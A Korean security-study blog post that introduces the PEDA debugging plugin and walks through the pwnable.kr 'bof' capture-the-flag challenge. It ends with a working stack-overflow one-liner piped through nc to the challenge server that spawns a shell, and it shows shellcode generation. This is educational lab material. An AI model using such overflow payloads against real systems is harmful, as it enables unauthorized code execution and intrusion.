      우선 GOT를 이용하는 이유는 그 주소 값을 바로 사용하는게 아니고 해당 주소에 존재하는 주소값을 가지고 참조하기 때문입니다. 예시로 BBBB를 이야기하면, BBBB 즉 0x62626262의 값을 사용하는게 아니고 주소 0x62626262에 저장되어있는 값을 이용하기때문입니다.

      두번째로 login+134를 사용하지 않는 이유는 시스템함수를 호출하기전 "/bin/sh" 문자열이 인자로 전달되어야하기때문에 그렇습니다.
      login+127에 있는 명령에서 인자 전달을 하기위해 esp에 "/bin/sh"의 포인터를 전달하고있어서 해당 부분을 사용했습니다.

  2. 5ddish 2019.02.20 17:00

    아하 ! 이해 하였습니다 !!! 답변 정말정말 감사드립니다

  3. sain 2019.09.16 19:06

    저 이거 주소가 계속 바뀌는데 뭐가 문제일까요?

    그리고 ebp-10의 위치가 name의 끝 4바이트 라고 했는데 왜 login함수의 스택은 안
    쓰신건지 궁금합니다.

1. PEDA ?

Python Exploit Development Assistance for GDB 의 약자로써, 일반 GDB보다 바이너리 Exploit을 편리하게 할 수 있도록 다양한 옵션과 기능이 추가되어 만들어진 툴입니다. CTF대회같은 경우 시간절약이 중요하기 때문에 많이들 사용하시는 거 같습니다. 

저도 사용해보니 일단 알록달록해지는 UI와 디버깅 진행 할때마다 눈에 잘들어오는 stack 및 레지스트리 값 변화 등 보통의 gdb에 비해

아주아주 편리했습니다.


PEDA를 설치해본 결과 설치방법은 아래 링크가 가장 잘 설명이 되어있는 것 같습니다. 

설치 관련 블로그 링크 : https://hexa-unist.github.io/2015/02/25/PEDA-Introduction-Installation/



2. PEDA 기본 기능

모든 기능과 옵션을 본 글에서 다루기에는 어려움이 있어서... 상세한 내용은 2012년 BlackHat 발표자료를 첨부하였으니 살펴보시면 됩니다.


BH_US_12_Le_Linux_Interactive_Exploit_Development_with_GDB_and_P


2-1) pdisas

gdb에서 disas 혹은 disassemble 로 사용했던 디스어셈블 기능의 확장판이라고 보시면 됩니다.

pdisas로 디스어셈블을 하게 되면 알록달록하게 하이라이팅 되어 비교적 가독성이 뛰어난 어셈블코드를 볼 수 있습니다.


아래 캡쳐를 보시면 확연히 비교가 됩니다.


disas func로 디스어셈블



pdisas func로 디스어셈블


2-2) stack 및 레지스트리 값 변화 확인

위 기능은 특별한 옵션을 주거나 명령을 통해 확인하는 것이 아니라, 브레이크 포인트를 걸고 디버깅을 하는 과정에서 바로 기능이 적용됩니다.



브레이크포인트를 걸고 실행을 하여 해당 위치에서 멈춘 화면입니다.

맨 위에는 각 레지스트리의 값과 해당 메모리에 어떤 값이 위치하고 있는지 해석도 나오고 있으며, 바로 아래에는 현재 브레이크 포인트가 어디에 멈추어져있는지(EIP 값이 얼마인지)를 나타내는 부분이 있고, 맨 아래에는 stack의 값 또한 바로 보여주고 있습니다.


2-3) find 명령어

find 명령어를 사용하여 특정 스트링을 검색 할 수 있습니다.

현재 프로그램에서 입력하는 곳에 "aaa"문자열을 입력한 상태였고, find명려어로 aaa를 서치한 결과입니다.



aaa라는 문자열이 heap과 stack에서 어디에 위치하고 있는지 표시해주고 있습니다.


2-4) 쉘코드 생성하기

BOF공격을 하기 위해 쉘코드를 찾으려고 여러 블로그를 뒤져보곤했는데, PEDA에선 각종 쉘코드를 제너레이트 해주는 기능이 있었습니다.

먼저 shellcode generate라고 입력하면 생성할 수 있는 shellcode의 종류를 보여줍니다.

위 캡쳐 화면에서 볼 수 있듯이 현재로써는 x86 쉘코드 밖에 지원이 되지 않는 것 같습니다.


직접 제너레이트 한 결과는 아래와 같습니다.



따로 쉘코드를 작성하거나, 블로그를 뒤져 찾아보지 않아도 되니 급할 때는 유용하게 사용 할 수 있을 것 같네요.



3) PEDA를 이용한 pwnable.kr bof문제 풀어보기


3-1) 문제 확인




문제 화면입니다.


Nana told me that buffer overflow is one of the most common software vulnerability. 

Is that true?


나나가 나에게 버퍼오버플로우가 가장 일반적인 소프트웨어 취약점이라고 말했는데 이거 실화냐? 라고 묻고있네요.

그리고 Download 링크가 두개가 있습니다. 하나는 c소스 파일이고 다른 하나는 c소스파일을 컴파일하여 생성된 바이너리인 것 같습니다.

wget으로 다 다운받아줍니다.


그리고 pwnable.kr 9000으로 돌리라고 하네요.


3-2) c소스파일 분석




메인함수에는 별 로직이 없네요.

func라는 함수에 헥사 값 0xdeadbeef라는 값을 전달하고 종료하고 있습니다.

bof를 유도 하는 로직은 func에 있는 듯 합니다.


func함수를 살펴보면 리턴 값은 없고, int형의 key라는 파라미터를 받고 있습니다. 

이 key값에는 메인함수에서 하드코드로 박혀있는 0xdeadbeef값이 전달이 되겠네요.


func함수의 바로 첫 라인에서는 overflowme라고 대놓고 선언되어있는 지역변수 char배열 32byte짜리 변수가 보입니다.

그리곤 overflow me : 라는 문자열을 출력하고 입력받은 값을 overflowme에 넣어주고 있습니다.

단순 gets함수로 받고 있기 때문에, 또 앞부분에서 size검사 부분이 없기 때문에 bof를 시킬 수 있는 포인트가 되며 

주석으로도 smash me! 라고 외치고 있는 것을 볼 수 있습니다.


아래 부분에서는 key 값이 0xcafebabe를 가지고 있는지 검사한 후 값이 일치하면 쉘을 넘겨 주고 있습니다.

위의 소스코드를 분석한 내용을 토대로 보면, func함수가 호출 되었을 때 stack의 모습을 예상해 볼 수 있습니다.





3-3) PEDA를 이용한 분석




main함수를 디스어셈블한 화면입니다. 함수 콜 직전에 0x0000063라인을 보면 mov로 esp에 함수 인자값을 대입하고 있는데,

간단히 push를 실행한 것과 동일하다고 보시면 되겠습니다.

그럼 func함수 호출부분에 브레이크 포인터를 걸고 실행하여 위의 내용이 맞는지 호출 전 스택의 상황을 살펴보도록 하겠습니다.



우리가 예상 한 것처럼 스택의 최상단에 func함수의 인자로 넣어준 0xdeadbeef가 위치하는 것을 확인할 수 있습니다.





si 명령을 통해 func함수 호출 직 후의 화면입니다. 함수 call을 하면서 다음 실행 명령 주소를 stack에 push한 것을 볼 수 있습니다.




func함수를 디스어셈블 한 화면입니다. 스택프레임 구성을 위해 ebp를 푸쉬하고있고, 지역변수인 overflowme[32]를 스택에 올리기위해 esp를 0x48 만큼 빼주고 있습니다. 정확히 32byte가 아니고, 0x48만큼인 이유는 컴파일러마다 약간의 사이즈 차이가 있기 때문이라고 하네요.


여기까지 분석한 스택의 상황을 그림으로 살펴보면 아래 처럼 되겠습니다.


더미가 overflowme[32]변수의 위에 위치할 지, 아래에 위치할 지 혹은 위 아래 나뉘어서 위치하고 있을 지는 직접 메모리를 들여다 보지 않아서 모르나, 둘이 합쳐 72byte(0x48)임은 어셈코드에서 알 수 있었고, 이에 따라 러프하게 개념적으로 위처럼 그려볼 수 있습니다. 

따라서 덮어써야할 내용은 

최소 44바이트(32byte + 4byte + 4byte + 0xcafebabe(4byte)) 부터 84byte(72byte + 4byte + 4byte + oxcafebabe(4byte))가 됩니다.

정확히 몇 바이트인지는 더 분석을 해봐야하겠네요.


입력값은 aaaaaaaa을 넣은 후 func+40에서 브레이크 포인트를 잡은 후 확인을 해보도록 하겠습니다.



esp(0xffffd1d0)에는 우리가 입력한 aaaaaaaa를 저장하고 있는 스택 내 overflowme[32]변수의 주소(0xffffd1ec)를 가르키고 있는 것을 볼 수 있습니다.



2-3) 에서 알아봤던 find명령어를 이용하여 aaaaaaaa가 위치한 스택 내 주소를 찾고, 0xdeadbeef가 위치한 스택 내 주소를 찾았습니다.

0xdeadbeef가 헥사값이라서 검색이 안될줄 알았는데 검색이 되어서 놀랐네요;

여하튼! 나온 주소 값의 차이는 0xffffd220 - 0xffffd1ec = 0x34(52) 임을 확인했습니다. 이 결과를 가지고 스택을 다시 그려보면

overflowme변수 위 아래에 더미가 껴있는 아래와 같은 형태로 그릴 수 있겠습니다.



3-4) exploit

결과부터 말씀드리면 exploit에 성공한 코드는 아래와 같습니다.


(python -c 'print "A"*52+"\xbe\xba\xfe\xca"';cat)|nc pwnable.kr 9000



먼저, python -c 'print "A"*52+"\xbe\xba\xfe\xca" 이 부분은 우리가 위에서 계산한 52바이트를 A라는 문자로 덮어버린 후

조작해야 할 헥사값 0xcafebabe로 만드는 문자열을 만드는 파이썬 구문입니다.

\xbe\xba\xfe\xca 처럼 역 순으로 문자열을 만든 이유는 엔디언 방식이 다르기 때문이고, 괄호와 세미콜론 + cat의 의미는

바이너리 실행 후 입력 값을 받는 형태를 맞춰주기 위함 입니다.

마지막으로 파이프로 연결한 후 문제에서 제시한 서버와 포트에 nc를 이용하여 전달하였습니다.



3-5) 결과



쉘이 실행 되었고 플래그값을 읽을 수 있음을 확인하였습니다 :)

'Study > Pwnable' 카테고리의 다른 글

[HITCON Training] lab4 / return to library  (0) 2017.11.29
[HITCON Training] lab2 / shellcraft  (0) 2017.11.28
NX(No eXcutable) / ROP  (1) 2017.09.29
pwnable.kr / input / pwntools  (0) 2017.08.01
pwnable.kr passcode  (4) 2017.07.31
PEDA / pwnable.kr bof문제  (0) 2017.07.12

+ Recent posts